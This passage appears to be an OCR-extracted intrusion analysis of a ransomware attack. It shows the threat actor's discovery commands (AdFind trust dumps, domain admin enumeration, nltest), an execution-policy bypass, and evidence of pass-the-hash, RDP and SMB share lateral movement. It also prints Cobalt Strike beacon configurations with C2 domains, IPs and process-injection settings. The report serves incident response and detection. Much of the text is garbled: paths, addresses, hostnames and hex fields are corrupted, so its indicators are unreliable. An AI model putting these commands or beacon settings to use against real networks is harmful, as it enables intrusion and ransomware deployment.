1 C\Windows\system32\cmd exe /c “"C\PerfLogs\adfbat™ © | C:\Windows\System32icmd.exe || adfind.exe -gcb -sc trustdmp Ci\PerfLogs\AdFind.exe 892148  C:\PerfLogs\

Get-DatalInfo.psl

CommandLine

The threat actor also used a PowerShell script to enumerate local systems. Together with a batch script called

“ start.bat ” the threat actor ran Get-Datalnfo.ps1 on both a domain controller and a different servers in the
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environment. We have seen this PowerShell script used several times before. Interestingly, PowerShell was

initiated using the start.bat file. However, the start.bat file did not work as intended and passed the “method”
parameter to the Get-Datalnfo.ps1 script, which is not recognized as a valid parameter. As a result, it ran in default
mode. This behavior may have confused the operator at the keyboard, as well as the batch script that was run

several times in a row on both servers.

Sysmon EventID 1 shows start.bat executes Get-Datalnfo.ps1 with parameter method:

CommandLine Image Processld ParentCommandLine
E.'\.Wmdo'.vs\sysremBi\cmd exe /c "'C\PerfLogs\start.bat" I CAWindows\System32\cmd exe 6116 CAWindows\Explorer.EXE
owershell.exe Set-ExecutionPolic —E)c-eculinnPol cy B pass _Scope Process -Force | C:\Windows\System32\WindowsPowerShell\w1.0\powershellexe 4248 C\Windows\system32\cmd.exe /c ""C\PerfLogs\start bat
I;.!L:wershellexe -executionpolicy remotesigned -File \Get-Datalnfo.ps1 nm (:\Wmdcws\ﬁy:Eern}Z\\"-ﬁ_nduw:F‘owwSheH\v'\ Mpowershell.exe 2340 CAWindows\system32\emd.exe /¢ ""C\PerfLogs\start bat

The start.bat script tries to set a variable called method to the discovery method chosen by the user if the method

is not typed on the command line:

et-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force

cutionpolicy remotesigned -File .\Get-DataInfo.psl @

IF NOT
@echo on
powershe e -executionpolicy remotesigned -File .\Get-DataInfo.psl

The issue with the script arises from the fact that the variable “method” does not receive the user-chosen value
until after the IF condition is complete. Additionally, the variable must be referenced as %method% to capture the
user input correctly. This oversight explains why the PowerShell command initiating Get-DataInfo.ps1 includes

“method” as a parameter on the command line:

powershellexe -executionpolicy remotesigned -Filk'l"tGEl-Dalalnfo ps1 method I

The below will end up running the Get-Datalnfo.ps1 script in default mode:

Switch($GrubType){
{T - LHc : Get-Diski | Export-Csv -Path .\result\Disk.csv -NoTypeInformation; Get-Software; -Result}
- 1t}
Aresult\Disk.csv -NoTypeInformation; Compr

oTypeInformation;
ultyDisk.cs

The default mode will run the Test-LHost , Get-DiskInfo and Get-Software functions in the script before

calling the last function, Compress-Result :
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function Compr ultq

Invoke-Expression

$findzip= Get-ChildItem .\
if($findzip -match ){Remove-It

Sysmon eventID 1 showing the execution:

| CurrentDirectory CommandLine Image Processld ParentCommandLine Parentimage

C\Usersy "CAUsers L7zexe” a -trip Aresult zip -mx=9 -aca \result ] Cyuser: \Tzexe 3276 powershell exe -executionpoli ~File \Get-Datalnfo ps1 method | C hellw1 hell

Sysmon eventID 1 process create showing several runs of start.bat:

event_code _host_hostname  CurrentDirectory -+ Commandline Image - Processid ParentCommandLine Parentimage
1 CiPerfLogs\ C:\Windows\system32\cmd.exe /c “'C:\PerfLogs\start bat’ CaWindows\System32\cmd exe 6116 Ci\Windows\Explorer.EXE C\Windows\explorerexe
1 CaperfLogs\ powershell.exe Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force | C hellwi ee 4248 C\Windows\system32\cmd exe /c ""C\PerfLogsistart bat CWindows\system32\cmd exe:
1 CPerfLogs\ powershell exe -executionpolicy remotesigned -File \Get-Datalnfo.ps1 method | C 1 e 2340 C\Windows\system3\cmd.exe /c ““ChPerflogsistartbat CWindows\System32\cmd exe:
1 Ci\PerfLogs\ Cwindows\system3z\cmd.exe /c “'C:\PerfLogs\start bat” * Cwindows\system32icmd.exe 2000 Cawindows\ExplorerEXE CWindows\explorerexe
1 CiPerfLogs\ powershell.exe Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Pracess -Force | C: 1 ELE I md.exe /c *"C\PerfLogs\startbat Cawindows\system32\cmd.exe
1 CiPerflogs\ powershell.exe -executionpolicy remotesigned -File \Get-Datalnfo.ps1 method  C 3 1. lexe 1496 CAWindows\system32\cmd.exe /c ""C\PerfLogs\startbat CAWindows\System32\cmd.exe
1 CiPerflogs\ "C /€ *CAPerl 3 CAWindows\System32\cmd.exe 652 CA\Windows\Explorer.EXE CAWindows\explorer.exe
1 C\PerfLogs\ powershell.exe Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force | C 1 hellere 5268 "C:AWindows\System32\cmd.exe’ /C “CAPerflogs\start bat* CAWindows\System32\cmd.exe
1 CAPerflogs\ powershell.exe -executionpolicy remotesigned -File \Get-Datalnfo.ps1 method | C: 3 e 1.0\px exe 164 "C\Windows\System32icmd exe” /C "CAPerfLogsistart bat” CAWindows\System32\cmd.exe
1 Server Ca\PerfLogs\ c /e "C\Perflc o0 CAWindows\System32\cmd.exe 4504 C\Windows\Explorer EXE CAWindows\explorer.exe
1 Caperflogs\ powarshell.exe Sat-ExacutionPolicy -ExacutionPolicy Bypass -Scope Process -Force | C 324 1 exe 5736 CA\Windows\system32\emd.exe /c ""CAPerfLogsistart bat C\Windows\system32\emd.axe
1 Caperflogs\ powershell exe -executionpolicy remotesigned -File \Get-Datalnfo.ps1 method | C 3 1 exe 3048 CAWindows\system32\emd exe /c ""CAPerfLogsistart bat CWindows\system32\cmd.exe
1 CaPerfLogs\ CWindows\system32\cmd exe /c “'C:\Perflogs\start bat' * C\Windows\System32\cmd.exe 3216 CA\Windows\Explorer EXE C\Windows\explorer.exe
o CaperfLogs\ powershell.exe Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Pracess -Force | C: \Sy e 10\ exe 3428 CAWindows\system32\emd.exe /¢ ""CAPerfLogsistart bat CAWindows\System32\cmd.exe
1 CaPeriLogs\ powershell.exe -executionpolicy remotesigned -File \Get-Datalnfo.ps1 method | C: 1 B md.exe /c "C\PerfLogs\startbat CWindows\system32\cmd.exe
1 CierfLogs\ c md.exe” /C "C bar C\Windows\system32\cmd.exe 6012 CA\Windows\Explorer EXE C\Windows\explorer exe
1 Cierflogs\ powershellexe Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force | C 3 hellwi e 1448 “C\Windows\System32\cmdexe’ /C “ChPerfLogs\start bat” C\Windows\system32\cmd.exe
1 CperfLogs\ powershel exe -executionpolicy remotesigned -File \Get-Datalnfo.ps1 method | C hellwi ee 4580 “CAWindows\System32\cmdexe” /C “ChPerfLogs\start bat” CWindows\system32\cmd exe
1 CaperfLogs\ CAWindows\system32\cmd exe /c *'C:\PerfLogs\start bat" * C\Windows\system32\cmd exe 4548 C\Windows\Explorer EXE C\Windows\explorerexe
1 CiPerfLogs\ powershell.exe Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Pracess -Force | C: 1 a2%2  C md.exe /c "C\PerfLogs\startbat CWindows\system32\cmd.exe
1 Ci\PerfLogs\ powershell.exe -executionpolicy rematesigned -File \Get-Datalnfo.ps1 method | C: i 1 exe 5888 CA\Windows\system32\cmd.exe /c *“C\PerfLogsistart bat CWindows\System32\cmd.exe
1 CAUsers) CAWindows\System32\emd.exe” /C *CAUsers start bat' CAWindows\System32\cmd.exe 1164 CAWindows\Explorer EXE CWindows\explorerexe:
i CUsers) powershell.exe Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force | C i hellwi ee 1144 “CAWindows\System32\cmdexe’ /C *ChUsers wtartbat | CAWindows\System32\amd exe
1 DC Cusersh "CAWindows\System32\emd.exe” /€ "CAUsers startbat’ CiWindows\System32\cmd exe 1596 | CAWindows\Explorer.EXE CAWindows\explorer.exe
1 CAUsersh powershell.exe Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force | C: 1 3%0 - \ dexe" /C "CiUsers tarthat’ | C\Windows\System32\cmd exe
1 CUsersh powershellexe -executionpolicy remotesigned -File \Get-Datalnfo.ps1 method | C: \ 1 e 5584 "CAWindows\System32\cmd.exe’ /C "CAUsers tartbat' | C\Windows\System32\cmd exe
1 CaUsersh "CAWindows\System32\cmd.exe* /C *CAUsers startbat' CA\Windows\System32\cmd.exe 4864 CA\Windows\Explorer EXE CWindows\explorerexe
1 Causers\ powershellexe Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force | C 1 ee 4284 C " /C*CiUsers starthat' | C\Windows\System32\emd exe
1 Causersy powershel exe -executionpolicy remotesigned -File \Get-Datalnfo.ps1 method | C 1 helleve | 5328 | “C:AWindows\System32\cmd.exe /C “CAUsers startbat” | CAWindows\System32\emd exe

Windows Utilities

The threat actor performed several discovery commands using various Windows utilities at various times during

the intrusion.

C:\Windows\system32\\cmd.exe /C systeminfo

C:\Windows\system32\cmd.exe /C net group "domain admins" /domain

C:\Windows\system32\cmd.exe /C nltest /dclist <domainname redacted>

nltest /domain_trusts /all_trusts

C:\Windows\system32\cmd.exe /C net group "enterprise admins" /domain

C:\Windows\system32\cmd.exe /C ping <hostname redacted>

C:\Windows\system32\taskmgr.exe /4

C:\Windows\system32\cmd.exe /C All windows Import-Module ActiveDirectory Get-ADComputer -Filter {enal
C:\Windows\system32\cmd.exe /C route print

C:\Windows\system32\cmd.exe /C ping http://<IP redacted>/

Administrator Consoles

On the final day of the intrusion, the threat actor accessed the administrative consoles for both DNS and Group

Policy. Shortly after, they proceeded to deploy ransomware across the environment.

C:\Windows\system32\mmc.exe C:\Windows\system32\dsa.msc
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C:\Windows\system32\mmc.exe C:\Windows\System32\gpedit.msc

Lateral Movement

Pass the hash

An examination of logon activity within the environment revealed evidence pointing to pass-the-hash attacks.
Specifically, Windows Security logs with event ID 4624, showing logon type 9 and the Logon Process listed as

“seclogo,” serve as solid indicators of the pass-the-hash technique employed by the threat actor.
An account was successfully logged on.

Subject:
Security 1D 5-1-5-18
Account Marme:
Account Domain:
Logon ID: Ou3EY

Lagon Type: 9

2 AL VILILIE, -

Virtual Account: Mo

Elevated Token: Yes
Impersonation Level: Impersonation
New Logon:

Security 1D 5-1-5-18

Account Mame: SYSTEM

Account Damain: MNT AUTHORITY

Logon ID: Ox20AASBC2

Linked Logon ID: 0x0

Metwork Account Mame:
Metwork Account Dormain:
Logon GUID: {00000000-0000-0000-0000-000000000000)

Process Information:
Process 1D Ox1dcd
Process Name: ChWindows\System32\svchost.exe

Metwork Information:
Workstation Mame: -
Source Metwork Address: 21
Source Port: 0

Transited Services: -
Packaae Mame (MTLM anlv): =

The threat actor used three main methods for lateral movement. First, Cobalt Strike utilized SMB ADMIN$ shares
to move beacons laterally, along with distributing both SMB and HTTPS beacons. Secondly, they used Remote

Desktop Protocol to access a file server and a backup server, where they performed discovery activity. Lastly, the
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threat actor used the hidden SMB share C$ to distribute the ransomware executable to strategic endpoints within

the infrastructure.
A domain controller was used as the main pivot point by the threat actor.

Overview of lateral movement involving SMB ADMINS$ shares and RDP:

N
(1)
\_/
SMB: ADMINS/7341ac3.exe
>
L

Beachhead Host Workstation 2

(2)

SMB: ADMINS/7f0ab2.exe

(6)

SHB: ADMIN$/b7bcees.exe

&»

(8

Remote Desktop Protocol

N N
\‘ 5) Remote Desktop Protocol

Remote Desktop Protocol N SMB: ADMINS/e225827.exe

(7)

Remote Desktop Protoco

SMB: ADMINS/ffdde72.exe

[oele] T
= —
—— L X J
= D00 =
L —
File Server Server

Backup Server

To investigate access to the SMB ADMINS share, the Windows event log proves invaluable. By examining
System event ID 5145, which indicates “A network share object was checked...,” We can track the movement of

beacons by the threat actor across the network, gaining essential insight into their lateral movements and

activities.
event_code ShareMame SharePath RelativeTargetName
5145 WAADMING VR CAWIndows | 61185¢1.exe local on beachhead
5145 WAADRMIMS VIRCAWindows | T341ac3 exe 1
I 5145 WD WS AWINnUows | TI02abd.exe 2
5145 WAADMING VA CAWindows | bPbcesl exe 6
5145 VWAADMING VAC\Windows | ffdde72 exe 7
5145 WHADMING VM CAWIndows | 225857 .exe 8

The RDP Activity can be identified with windows security eventID 4624 where the logon type equals 10

Remotelnteractive — “A user logged on to this computer remotely using Terminal Services or Remote Desktop.”
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An account was successfully logged on.

Subject:
Security 1D §-1-5-18 ®
Account Marme:

Account Damain:

Legon ID: Ox3ET
Logon [mation:

Logen Type: 10

estricted Admin Mode: No

Virtual Account: Mo

Elevated Token: Yes
Impersonation Level: Impersonation
Mew Logon:

Security 1D: 5-1

Account Mame:

Account Damain: )

Logon ID: Ox1BTZETDE
Linked Logon IDx 00
Metwork Account Name: -

Metwork Account Domain: -

Legon GUID: {2e5552bb-4e03-d2868-dd85-83e68a2bdeal)
Process Information:

Process 1D Ox5fec

Process MName: CAWindows\System32\svchost.exe

Metwork Information:
Workstation Mame:
Source Metwork Address:
Source Port: 0

Detailed Authentication Information:
Logon Process: User3d
Authentication Package:  Megotiate
Transited Services: .
Package Mame (NTLM only): =
Key Lenath: 1]

Windows security event ID 5145 was used to demonstrate lateral movement once again, showing SMB C$ share

usage.
event_code ShareMame SharePath RelativeTargetMame
5145 WACE WVIMCA,  users\gwe exe
=145 WG VITVCY, | usersh\gwe.exe
5145 WACEH VMG, usersh\gwe.exe
5145 WACH VG, Users\qwe.exe

Cobalt Strike SMB beacons, used for lateral movement, were distributed on the beachhead and on a domain

controller:

The configuration of the SMB beacons:
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b'." 2e
payload type
port

sleeptime
maxgetsize
jitter

maxdns
publickey
server,get-uri
useragent
post-uri
Malleable _C2 Instructions

Transform Input: [7:Input]

0x000c
0x000d
0x000e
0x001d
0x001e
0x000f
0x001f
0x0037
0x0028
0x0025
0x0024
0x0026
0x0027
0x0029
0x002a
0x003a
0x0039
0x002b
0x002c
0x002d
0x002e
0x002f
0x0035
0x0033
0x0034
0x0030
0x0010
0x004a
0x0000

http_get_header
http_post_header
SpawnTo

spawnto_x86
spawnto_x64

pipename

CryptoScheme

EXIT_FUNK

killdate

license-id

deprecated
bStageCleanup
bCFGCaution
textSectionEnd
ObfuscateSectionsInfo
TCP_FRAME_HEADER
SMB_FRAME _HEADER
process-inject-start-rwx
process-inject-use-rwx

process-inject-min_alloc

process-inject-transform-x86
process-inject-transform-x64

process-inject-stub
process-inject-execute

process-inject-allocation-method

DEPRECATED_PROCINJ_ALLOWED
killdate_year

0x0001
0x0001
0x0002
0x0002
0x0001
0x0001
0x0003
0x0003
0x0003
0x0003
0x0003

0x0003
0x0003
0x0003
0x0003
0x0003
0x0003
0x0001
0x0001
0x0002
0x0002
0x0003
0x0001
0x0001
0x0002
0x0003
0x0003
0x0003
0x0001
0x0001
0x0002
0x0003
0x0003
0x0003
0x0003
0x0001
0x0001
0x0001
0x0003

0x0002
0x0002
0x0004
0x0004
0x0002
0x0002
0x0100
0x0100
0x0080
0x0040
0x0100

0x0100
0x0100
0x0010
0x0040
0x0040
0x0080
0x0002
0x0002
0x0004
0x0004
0x0020
0x0002
0x0002
0x0004
0x0028
0x0080
0x0080
0x0002
0x0002
0x0004
0x0100
0x0100
0x0010
0x0080
0x0002
0x0002
0x0002
0x0020

Guessing Cobalt Strike version: 4.4 (max 0x004a)

2 windows-beacon_smb-bind_pipz

4444

10000

2048576

0

0
308191300d06092a864886170d010101050003818d0030:
(NULL ...)

(NULL ...)

(NULL ...)

(NULL ...)
"%windir%\\syswow64\\SyncHost.exe'

"%windir%\\sysnative\\mstsc.exe'
"\\\\.\\pipe\\WkSvcPipeMgr_JORW2e"

0

0

0

674054486 Stats uniques -> ips/hostnames: 60 p
'"bfnETSwzb1Xsa2g6gr+auA=="

1

0

1

"\x00\x10\x00\x00\x95 *\x02\x00\x00p\x02\x00A\n
"\x00\x0fk\x1d"64+\x81B\x1da"
"\x00\x1ek\x01oy>Aéb+\x1b x\x85\x8e¥X\x1e0QE®"
4 PAGE_READWRITE

32 PAGE_EXECUTE_READ

13891
"\x00\x00\x00U\x0f\x1f\x84\x00\x00\x00\x00\x00
"\x00\x00\x00\x16f\x90f\x0f\x1fD\x00\x00\x90\
' ANi/14Ee\\\x0c\x13U\x0f\x04C, ('
"\x06\x04\x07\x00\x00\x00\x06ntd11\x00\x00\x00
0
1
0
"IN\x8f14EeDc~bug®FJ6\x16\X9ccR\x82+\ td\x7ff_

The threat actor’s use of RDP and tunnels via SystemBC left behind crucial artifacts that helped identify their
activities. Notably, we detected two hostnames, “DESKTOP-OMEMSEA” and “DESKTOP-BIFFSC7”, which
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were used during the intrusion. These artifacts appeared in various logs, including Sysmon event ID 24 (clipboard
change), Windows Security event ID 4624 (logon), event ID 4778 (terminal session reconnect), and event ID 4779
(terminal server disconnect), providing multiple points of evidence linking the threat actor’s presence across the

environment.

Here is an overview of the RDP sessions where the threat actor used these two hosts:

event_code | ClientMame SessionMame count_
4778 DESKTOP-BIFFSCT RDP-Tcp#1 1
4779 DESKTOP-BIFFECT RDP-Tcp#1 3
4778 DESKTOP-BIFFSCT RDP-Tep#2 1
4779 DESKTOP-BIFFSCT RDP-Tep#2 1
4778 DESKTOP-BIFFSCY RDP-Tcp#d 1

] 4779 DESKTOP-BIFFECT RDP-Tcp#4 1
4779 DESKTOP-OMEMSEA RDP-Tcp#1 1
4778 DESKTOP-OMEMSEA RDP-Tcp#2 1
4779 DESKTOP-OMEMSEA RDP-Tcp#8 1
4778 DESKTOP-BIFFSCT RDP-Tcp#10 1
4779 DESKTOP-BIFFSCT RDP-Tcp#10 1
4778 DESKTOP-BIFFECT RDP-Tcp#12 1
4778 DESKTOP-BIFFSCT RDP-Tep#3 2

Collection

Archiving

The threat actor used 7z to archive data output from running the Get-Datalnfo.ps1 PowerShell script.

Sysmon eventID 1 showing execution of 7z.exe archiving data:

event_code  CurrentDirectory CommandLine Image Processld ParentCommandLine

1 C\Users\ "C\Users' \7zexe" a -taip Aresultzip -mx=9 -aca Aresulty* | C\Users\ \Tzexe 3276  powershellexe -executionpolicy remotesigned -File \Get-Datalnfo.ps1 method

Looking for interesting files

In their pursuit of valuable data, the threat actor browsed through file systems, selectively opening files they
deemed interesting. Documents containing passwords, financial information, and other sensitive data were

specifically targeted, as these types of files typically hold high value for the intruders.

Sysmon eventID 1 showing Notepad and Wordpad used to open and look at files:

event_code Commandline ParentCommandLine Image Parentimage

1 “C\Program Files\Windows NT\Accessories\WORDPAD EXE" * C\Windows\Explorer EXE | CA\Program ntace exe  C lorer.exe

1 *CA\Pragram Files\Windows NTiAccessories\WORDPAD.EXE" * insurance door'] CAWindows\ExplorerEXE | CA\Program ntyace fexe CiWind lorer.exe
N *CA\Program Files\Windows NT\Accessories\WORDPAD EXE" Contracts\ dooc | CAWindows\Explorer EXE | CAProgram Fi exe C I

1 "CAWindows\system32\NOTEPAD EXE" ( Easswmds\ it C Expl EXE C: notepad exe C\Windows\explorer exe

1 "C:\Program Files\Windows NT\Accessories\WORDPAD.EXE" l\ Fasswordsdc(x“l CAWindows\Explorer EXE | C:\Program F nthacce exe  CA) d lorer exe

Command and Control

For command and control, the threat actor used two main tools, Cobalt Strike and SystemBC.
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DC X Cabalt Strike £2
suchorst..con - 15.197.138.221
Cobalt strike C2
qu.regsucast.con - 147.78.47.178

Cobalt Strike C2
T TAINGS.exe
svchorst.con

147.78.47.178:443

104.21.76.140:443
15.197.130.221:443

Cobalt Strike 2
explorer.exe / powershell.exe
qu.regsucast .con
147.78.47.178:483

Beachhead Host Cobalc serike €2
powershel. exe
on.regsvcast .con
167.78.47 178130

D

Cobalt Strike €2

suchorst.con
[104.21.76.140, 172.67.196.25]

° ° — Cobalt Strike 2
rundl132.exe
qu.regsvcast

147.78.47.178:443

m SysteniC 2
137.220.61.94

Cobalt Strike C2
attacker controlled infra

Cobalt Strike C2

rundl132.exe Cobalt Strike C2
an.regsucast.con rund1132.exe
147.78.47.178:443 an.regsveast .con
147.78.47.178:443
O 0 O o
SystentC (2 — (X T8 clients
37.220.61.94:4081 § -
e Cobalt Strike C2 Traffic — (Y] DESKTOP-BIFFSC:
—— SystENBC (2 Traffic ! |— 'Y

Cobalt Strike €2 Traffic

File Server Server

Cobalt Strike

Overview of Cobalt Strike traffic beaconing pattern over intrusion:

The initial Cobalt Strike beacon, delivered via RtWin64.exe on the beachhead host, maintained a continuous
command and control domain at svchorst[.]Jcom throughout the entire infection. The IP address associated with the
domain changed over time, and the communication process also shifted as queries were injected into different

processes by RtWin64.exe.

To further obfuscate its presence, the threat actor initially routed the Cobalt Strike command and control traffic
through CloudFlare’s CDN service, effectively attempting to hide in plain sight by blending into legitimate web

traffic.

The 104[.]21.76.140 and 172[.]67.196.25 addresses belonged to Cloudflare.
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104.21.76.140

Announced By
Origin AS Announcement Description
AS13335 |104.16.0.0/12 | Cloudflare, Inc.
AS13335 |104.21.64019 5 [J | Cloudflare, Inc.
AS13335 |104.21.64.020 [ [/ | Cloudflare, Inc.

172 67 196 25

Announced By
Origin AS Announcement Description
AS13335 |172.67.192.020 o1 [ | Cloudflare, Inc.

Later in the intrusion, the command and control (C2) server moved away from CloudFlare, and subsequently, the
domain resolved to an AWS IP address.

Beachhead Host

DNS queries performed for svchorst[.]com:

CueryResults

i 172.67.196.25::f:104.21.76.140;
~FH104.21.76,140;F:172.67.196.25;
=ffff:15.197.130.221;

swch

s AR
ry ‘ -—1—1-' ‘,
Image
Chlsers' Desktop\RtWinGd.exe
Chllsers' Desktop\RtWingd. exe

ChA\Windows\System32\svchost exe
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Network connections to svchorst[.]com:

Image
| ChUsers
CAUsers

Chllsars

\Desktop\RtWinGd.exe
\Desktop\RtWinGd.exe
\Desktop\RtWingd exe

Destination|p
172.67.196.25
104.21.76.140
15.197.130.221

DestinationPort
443
443
443

Using Didier Steven’s great tool 1768.py, we successfully extracted the configuration of the Cobalt Strike beacon,

which validated the host artifacts discovered on the beachhead host.

xorkey
0x0001
0x0002
0x0003
0x0004
0x0005
0x0007

0x0008
0x0043
0x0044
0x0045
0x0046
0x000e
0x001d
0x001e
0x001f
0x001a
0x001b
0x001c
0x0025
0x0024
0x0026
0x0027
0x0047
0x0048
0x0049
0x0009

b'.' 2e
payload type
port
sleeptime
maxgetsize
jitter
publickey

server,get-uri

DNS_STRATEGY
DNS_STRATEGY_ROTATE_SECONDS
DNS_STRATEGY_FAIL_X
DNS_STRATEGY_FAIL_SECONDS
SpawnTo

spawnto_x86

spawnto_xb64

CryptoScheme

get-verb

post-verb

HttpPostChunk

license-id

deprecated

bStageCleanup

bCFGCaution
MAX_RETRY_STRATEGY_ATTEMPTS
MAX_RETRY_STRATEGY_INCREASE
MAX_RETRY_STRATEGY_DURATION
useragent

fari/537.36'

0x000a

post-uri

0x0001 0x0002 8 windows-beacon_https-reverse_https

0x0001 0x0002 443

0x0002 0x0004 50408

0x0002 0x0004 4103260

0x0001 0x0002 30

0x0003 0x0100 308191300d06092a864886170d010101050003818d0030
428d39816141810d852974173e9ae1e7fd525c02221b9761a8f157db0728039c1103f31bb8adaedb4 fed45f670943616de98
2d999279172b79739160628e57c311f4234feb5ea8eab3b7d19b020301000100000000000000000000000000000000000000!
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

0x0003
0x0001
0x0002
0x0002
0x0002
0x0003
0x0003
0x0003
0x0001
0x0003
0x0003
0x0002
0x0002
0x0003
0x0001
0x0001
0x0002
0x0002
0x0002
0x0003

0x0003

0x0100
0x0002
0x0004
0x0004
0x0004
0x0010
0x0040
0x0040
0x0002
0x0010
0x0010
0x0004
0x0004
0x0020
0x0002
0x0002
0x0004
0x0004
0x0004
0x0100

0x0040

'svchorst.com,/shiatzu/v2.41"'

(NULL ...)
"%windir%\\syswow64\\SyncHost.exe'
"swindir%\\sysnative\\mstsc.exe'

0

"GET'

'POST'

0

674054486
'"bfnETSwzb1Xsa2gbgr+auA=="

- O &©oO o -

Mozilla/5.@0 (Windows NT 6.1; Win64; x64) Appl

'/unobservedly/v10.78'

In the rest of the infrastructure, two distinct types of Cobalt Strike beacons were deployed: HTTPS beacons and

SMB beacons. The HTTPS beacons appeared to communicate with three different domains—

wq[.]Jregsvcast[.]Jcom, as[.]regsvcast[.]Jcom, and zx[.]regsvcast[.Jcom—though, in reality, only
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wq[.]Jregsvcast[.]Jcom was actively used, resolving to IP address 147.78.47[.]1178. This Cobalt Strike server was
tracked as active by the DFIR Threat Feeds from December 21st through Jan 6th, 2024.

Sysmon event ID 22 helped document the DNS queries related to the *regsvcast[.Jcom domains, providing further

insight into the network activity tied to the Cobalt Strike infrastructure.

o

host_hostname  QueryName QueryResults Image ProcessiD  User
DCx qw.regsvcast.com | type: 5 regsveast.com::ffff:147.78.47.178; fciwindows\syswowbd\windowspowershell\w1.0\powershell.exe 6380 MNT AUTHORITY\SYSTEM
qw.regsvcast.com | type: 5 regsvcast.com; ChWindows\System32\winlogon.exe 3152 MNT AUTHORITY\SYSTEM
| Dcy qw.regsvcast.com | type: 5 regsvcast.comfiff147.78.47.178; JC\Windows\System32\rundl|32.exe 5700 NT AUTHORITY\SYSTEM
File Server [ gw.regsvcastcom | type: 5 regsvcast.com;:ffff:147.78.47.178; JC\Windows\System32\rundll32.exe 223380  NT AUTHORITY\SYSTEM
Server gw.regsvcast.com | type: 5 regsvcast.com;:ffff-147.78.47.178; RC\Windows\System32\rundll32.exe 964 NT AUTHORITY\SYSTEM

Sysmon event ID 3 logs every network connection made, provided it’s not disabled in the Sysmon configuration.

This can be particularly useful, as some EDR solutions apply rate limits to this type of artifact.

Since Cobalt Strike beacons can generate significant traffic, the volume of network connections for each beacon
can be observed in the final column of these logs, highlighting the frequency and noisiness of the communication

between beacons and command and control infrastructure.

host_hostname | Image Destinationlp  DestinationPort | count_
D chwindows\explorer.exe 147.78.47.178 443
Dc chwindows\syswowed\windowspowershellw1.0\powershellexe  147.78.47.178 443

I pDc eywindows\cyctem32ywindowspowerchellwl.0\powerchell.exe  147.7BA7.178 B0 1
DC chwindows\system32yrundll32 exe 1477847178 443 11831
Server chwindows\system32\rund||32.exe 147.78.47.178 443 1833
File Server  cawindows\system32\rundli32.exe 147.7847.178 | 443 113814

Below is the configuration of the beacon from DC Y which communicated encrypted over https on port 443:

File: b7bcee8.exe

payloadType: 0x00002810

payloadSize: 0x00040405

intxorkey: 0@xe43ebc19

id2: 0x00000000

MZ header found position 9

Config found: xorkey b'.' 0x0003ac30 0x000403fc

0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https

0x0002 port 0x0001 0x0002 443

0x0003 sleeptime 0x0002 0x0004 63612

0x0004 maxgetsize 0x0002 0x0004 2796542

0x0005 jitter 0x0001 0x0002 39

0x0007 publickey 0x0003 0x0100 30819f300d06092a864836170d010101050003818d0030
0x0008 server,get-uri 0x0003 0x0100 'qw.regsvcast.com,/hr,as.regsvcast.com,/hr,zx.
0x0043 DNS_STRATEGY 0x0001 0x0002 0

0x0044 DNS_STRATEGY_ROTATE_SECONDS 0x0002 0x0004 -1

0x0045 DNS_STRATEGY_FAIL_X 0x0002 0x0004 -1

0x0046 DNS_STRATEGY_FAIL_SECONDS 0x0002 0x0004 -1
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0x000e
0x001d
0x001e
0x001f
0x001a
0x001b
0x001c
0x0025
0x0026
0x0027
0x0009
0x000a
0x000b
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SpawnTo
spawnto_x86
spawnto_xb64
CryptoScheme
get-verb
post-verb
HttpPostChunk
license-id
bStageCleanup
bCFGCaution
useragent
post-uri
Malleable _C2 Instructions

0x0003 0x0010
0x0003 0x0040
0x0003 0x0040
0x0001 0x0002
0x0003 0x0010
0x0003 0x0010
0x0002 0x0004
0x0002 0x0004
0x0001 0x0002
0x0001 0x0002
0x0003 0x0100
0x0003 0x0040
0x0003 0x0100

Transform Input: [7:Input,4,2:338,3,11]
Print
Remove 338 bytes from begin
BASE64
NETBIOS uppercase

0x000c

http_get_header

Const_header Connection: close

Const_header Accept-Encoding: br

0x0003 0x0200

(NULL ...

)

"%windir%\\syswow64\\runonce.exe'

"%windir%\\sysnative\\runonce.exe'

0
"GET'
'POST'
0

1580103824 Stats uniques -> ips/hostnames: 316

1
0

'"Mozilla/5.0 (Windows NT 10.0; Winb4; x64) App

“/rw

Build Metadata: [7:Metadata,13,3,2:wordpress_logged_in=,6:Cookie]
BASE64 URL

BASE64

Prepend wordpress_logged_in=

Header Cookie

0x000d

http_post_header

Const_header Connection: close

Const_header Accept-Language: en-US
Const_header Content-Type: text/plain

Build Output: [7:Output,3,3,4]
BASE64

BASE64

Print
Build Sessionld: [7:Sessionld,3,2:__session__id=,6:Cookie]
BASE64

Prepend __session__id=

Header Cookie

0x0036
0x0032
0x0023
0x003a
0x0039
0x0037
0x0028
0x0029
0x002a

HostHeader
UsesCookies
proxy_type
TCP_FRAME_HEADER
SMB_FRAME _HEADER
EXIT_FUNK

killdate
textSectionEnd
ObfuscateSectionsInfo

0x0003 0x0200

0x0003 0x0080
0x0001 0x0002
0x0001 0x0002
0x0003 0x0080
0x0003 0x0080
0x0001 0x0002
0x0002 0x0004
0x0002 0x0004
0x0003 0x0028
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0x002b process-inject-start-rwx 0x0001 0x0002 4 PAGE_READWRITE

0x002c process-inject-use-rwx 0x0001 0x0002 32 PAGE_EXECUTE_READ

0x002d process-inject-min_alloc 0x0002 0x0004 18046

0x002e process-inject-transform-x86 0x0003 0x0100 '\x00\x00\x00\x05\x90\x90\x90\x90\x90"
0x002f process-inject-transform-x64 0x0003 0x0100 '\x00\x00\x00\x05\x90\x90\x90\x90\x90"
0x0035 process-inject-stub 0x0003 0x0010 '"+\x8f\'UR°\x8dYU\x9ei¢~!H'

0x0033 process-inject-execute 0x0003 0x0080 '\x01\x04\x03"

0x0034 process-inject-allocation-method 0x0001 0x0002 0

0x0000

Guessing Cobalt Strike version: 4.3 (max 0x0046)

Sanity check Cobalt Strike config: OK

Public key config entry found: 0x0003ac65 (xorKey @0x2e) (LSFIF: b'././.,.&.,./.,/")

Public key header found: 0x0003ac6b (xorKey @x2e) (LSFIF: b'././.,.&.,./.,/")

